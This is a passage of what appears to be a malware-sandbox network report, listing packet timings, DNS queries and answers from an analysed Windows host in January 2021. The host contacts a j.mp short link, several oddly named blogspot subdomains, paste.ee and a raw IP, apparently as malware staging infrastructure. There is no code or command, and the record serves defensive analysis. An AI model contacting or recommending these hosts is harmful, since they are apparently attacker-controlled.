Jan 13, 2021 13:45:27.830302000 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.830318928 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830357075 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830465078 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.831002951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831043959 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831079960 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831099987 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.831115961 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831152916 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831171036 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.831187963 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831233978 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831239939 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.831274986 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831329107 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.831924915 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.831965923 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832001925 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832021952 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.832037926 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832075119 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832110882 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832124949 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.832156897 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832197905 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832251072 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.832885027 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832921982 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832958937 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.832978964 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.832995892 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833031893 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833049059 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.833067894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833106041 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833122969 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.833153009 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833406925 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.833724022 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833765984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833801985 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833821058 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.833837986 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833875895 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833893061 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.833945990 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.833981991 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834005117 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.834019899 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834074974 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.834665060 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834712982 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834753990 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834778070 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.834789991 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834829092 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834866047 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834884882 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.834901094 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834939003 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.834996939 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.835621119 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835659027 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835705042 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835740089 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.835745096 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835781097 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835798979 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.835818052 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835855007 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.835875034 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.835891962 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836045980 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.836594105 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836632967 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836669922 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836689949 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.836704969 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836743116 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836760998 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.836780071 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836824894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836833954 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.836865902 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.836921930 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.837513924 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.837554932 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.837583065 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.837610960 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:28.047734022 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:29.640383959 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:29.918713093 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:31.484962940 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:32.549408913 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.731240988 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.779704094 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.779838085 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.785089970 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.833303928 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.833357096 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.833437920 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.833487034 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.833523989 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.833534002 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.833575964 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.846657038 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.894958973 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:32.895066023 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.918970108 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:32.971812010 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:33.262731075 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:33.652112961 CET	443	49213	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:33.652214050 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:34.600092888 CET	49213	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.020863056 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:41.279051065 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.327142954 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.327231884 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.329555035 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.377573967 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.377815008 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.377857924 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.377876997 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.377899885 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.377943039 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.377978086 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.377995968 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.378019094 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.388822079 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.437093973 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:41.437169075 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.460486889 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:41.513884068 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:42.210532904 CET	443	49215	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:42.210599899 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:43.187009096 CET	49215	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:51.826349020 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:51.947864056 CET	80	49217	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:51.948015928 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:51.948399067 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:52.072664022 CET	80	49217	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:52.072953939 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:52.202646017 CET	80	49217	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:52.479521990 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:52.559609890 CET	80	49217	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:52.559736967 CET	49217	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:57.708086014 CET	80	49217	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:57.708317041 CET	49217	80	192.168.2.22	64.188.18.218

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2021 13:44:22.673477888 CET	52197	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:22.722846985 CET	53	52197	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:23.009288073 CET	53099	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:23.073410034 CET	53	53099	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:24.424066067 CET	52838	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:24.489083052 CET	53	52838	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:24.489990950 CET	52838	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:24.548269987 CET	53	52838	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:25.648607969 CET	61200	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:25.715763092 CET	53	61200	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:28.587493896 CET	49548	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:28.644560099 CET	53	49548	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:28.651949883 CET	55627	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:28.700452089 CET	53	55627	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:29.015083075 CET	56009	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:29.071233988 CET	53	56009	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:31.369704962 CET	61865	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:31.433773041 CET	53	61865	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:31.619276047 CET	55171	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:31.686795950 CET	53	55171	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:31.687319040 CET	55171	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:31.746385098 CET	53	55171	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:33.324801922 CET	52496	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:33.381355047 CET	53	52496	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:35.042046070 CET	57564	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:35.098671913 CET	53	57564	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:39.305635929 CET	63009	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:39.362576962 CET	53	63009	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:39.365454912 CET	59319	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:39.424384117 CET	53	59319	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:40.186141014 CET	53070	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:40.197665930 CET	59770	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:40.242908955 CET	53	53070	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:40.245507956 CET	53	59770	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:40.247988939 CET	61523	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:40.305908918 CET	53	61523	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:40.971148968 CET	62791	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:41.027657986 CET	53	62791	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:41.990853071 CET	50667	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:41.991761923 CET	54129	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:42.039572001 CET	53	54129	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:42.057894945 CET	53	50667	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:42.801377058 CET	65329	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:42.859409094 CET	53	65329	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:46.811579943 CET	60718	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:46.877253056 CET	53	60718	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:46.878504038 CET	60718	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:46.938445091 CET	53	60718	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:46.938976049 CET	60718	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:47.003381014 CET	53	60718	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:48.897459030 CET	49157	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:48.962050915 CET	53	49157	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:50.289427996 CET	57391	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:50.346026897 CET	53	57391	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:54.222888947 CET	61858	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:54.287549019 CET	53	61858	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:54.813502073 CET	62500	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:54.869791985 CET	53	62500	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:54.872222900 CET	51652	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:54.936516047 CET	53	51652	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:55.485379934 CET	62762	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:55.560195923 CET	53	62762	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:56.310018063 CET	56905	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:56.366463900 CET	53	56905	8.8.8.8	192.168.2.22
Jan 13, 2021 13:44:57.509673119 CET	54609	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:44:57.576920986 CET	53	54609	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:00.749346018 CET	58101	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:00.816950083 CET	53	58101	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:00.978214979 CET	64329	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:01.037471056 CET	53	64329	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:02.609417915 CET	64329	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:02.670631886 CET	53	64329	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:03.117901087 CET	64881	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:03.182449102 CET	53	64881	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:03.183072090 CET	64881	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:03.239538908 CET	53	64881	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:05.281723976 CET	55327	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:05.338166952 CET	53	55327	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:06.696155071 CET	59150	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:06.755399942 CET	53	59150	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:07.640511990 CET	63439	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:07.699605942 CET	53	63439	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:07.707274914 CET	65040	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:07.768819094 CET	53	65040	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:16.290165901 CET	61369	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:16.338649988 CET	53	61369	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:16.340930939 CET	65515	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:16.399693012 CET	53	65515	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:16.629877090 CET	60236	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:16.686925888 CET	53	60236	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:18.564466953 CET	53198	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:18.628879070 CET	53	53198	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:24.097852945 CET	50027	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:24.157201052 CET	53	50027	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:25.104094982 CET	59245	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:25.164253950 CET	53	59245	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:26.302629948 CET	55840	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:26.358843088 CET	53	55840	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:26.362325907 CET	61667	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:26.418745995 CET	53	61667	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:26.561464071 CET	63736	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:26.620728016 CET	53	63736	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:29.614391088 CET	59805	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:29.625468016 CET	62322	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:29.673316956 CET	53	62322	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:29.678914070 CET	53	59805	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:29.878982067 CET	52819	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:29.883483887 CET	51215	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:29.926867962 CET	53	52819	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:29.947478056 CET	53	51215	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:32.672183037 CET	60312	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:32.728512049 CET	53	60312	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:33.670972109 CET	63463	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:33.729955912 CET	53	63463	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:41.219335079 CET	62224	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:41.276051044 CET	53	62224	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:42.234687090 CET	59064	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:42.293833971 CET	53	59064	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:49.579821110 CET	59885	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:49.636311054 CET	53	59885	8.8.8.8	192.168.2.22
Jan 13, 2021 13:45:49.638029099 CET	63749	53	192.168.2.22	8.8.8.8
Jan 13, 2021 13:45:49.688711882 CET	53	63749	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2021 13:45:29.676234961 CET	192.168.2.22	8.8.8.8	d064	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 13, 2021 13:44:22.673477888 CET	192.168.2.22	8.8.8.8	0xc2c0	Standard query (0)	j.mp	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:23.009288073 CET	192.168.2.22	8.8.8.8	0x1dea	Standard query (0)	mainjigijigi123.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:24.424066067 CET	192.168.2.22	8.8.8.8	0xbb68	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:24.489990950 CET	192.168.2.22	8.8.8.8	0xbb68	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:25.648607969 CET	192.168.2.22	8.8.8.8	0x1000	Standard query (0)	resources.blogblog.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:29.015083075 CET	192.168.2.22	8.8.8.8	0x9210	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:31.619276047 CET	192.168.2.22	8.8.8.8	0x6e0b	Standard query (0)	randikhanaekminar.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:31.687319040 CET	192.168.2.22	8.8.8.8	0x6e0b	Standard query (0)	randikhanaekminar.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:33.324801922 CET	192.168.2.22	8.8.8.8	0x605a	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:40.186141014 CET	192.168.2.22	8.8.8.8	0xb851	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:40.971148968 CET	192.168.2.22	8.8.8.8	0xca10	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:46.811579943 CET	192.168.2.22	8.8.8.8	0xd0e2	Standard query (0)	backbones1234511a.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:46.878504038 CET	192.168.2.22	8.8.8.8	0xd0e2	Standard query (0)	backbones1234511a.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:46.938976049 CET	192.168.2.22	8.8.8.8	0xd0e2	Standard query (0)	backbones1234511a.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:48.897459030 CET	192.168.2.22	8.8.8.8	0x8474	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:54.222888947 CET	192.168.2.22	8.8.8.8	0x10e9	Standard query (0)	startthepartyup.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:55.485379934 CET	192.168.2.22	8.8.8.8	0xa9e8	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:56.310018063 CET	192.168.2.22	8.8.8.8	0x863c	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:03.117901087 CET	192.168.2.22	8.8.8.8	0xf89f	Standard query (0)	ghostbackbone123.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:03.183072090 CET	192.168.2.22	8.8.8.8	0xf89f	Standard query (0)	ghostbackbone123.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:05.281723976 CET	192.168.2.22	8.8.8.8	0x3e66	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:16.629877090 CET	192.168.2.22	8.8.8.8	0x25b	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:24.097852945 CET	192.168.2.22	8.8.8.8	0xffd	Standard query (0)	backbones1234511a.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:25.104094982 CET	192.168.2.22	8.8.8.8	0x8ed6	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:26.561464071 CET	192.168.2.22	8.8.8.8	0x446f	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:32.672183037 CET	192.168.2.22	8.8.8.8	0x565e	Standard query (0)	startthepartyup.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:33.670972109 CET	192.168.2.22	8.8.8.8	0xe20	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:41.219335079 CET	192.168.2.22	8.8.8.8	0x7a65	Standard query (0)	ghostbackbone123.blogspot.com	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:42.234687090 CET	192.168.2.22	8.8.8.8	0x5a54	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 13, 2021 13:44:22.722846985 CET	8.8.8.8	192.168.2.22	0xc2c0	No error (0)	j.mp		67.199.248.16	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:22.722846985 CET	8.8.8.8	192.168.2.22	0xc2c0	No error (0)	j.mp		67.199.248.17	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:23.073410034 CET	8.8.8.8	192.168.2.22	0x1dea	No error (0)	mainjigijigi123.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:23.073410034 CET	8.8.8.8	192.168.2.22	0x1dea	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:24.489083052 CET	8.8.8.8	192.168.2.22	0xbb68	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:24.548269987 CET	8.8.8.8	192.168.2.22	0xbb68	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
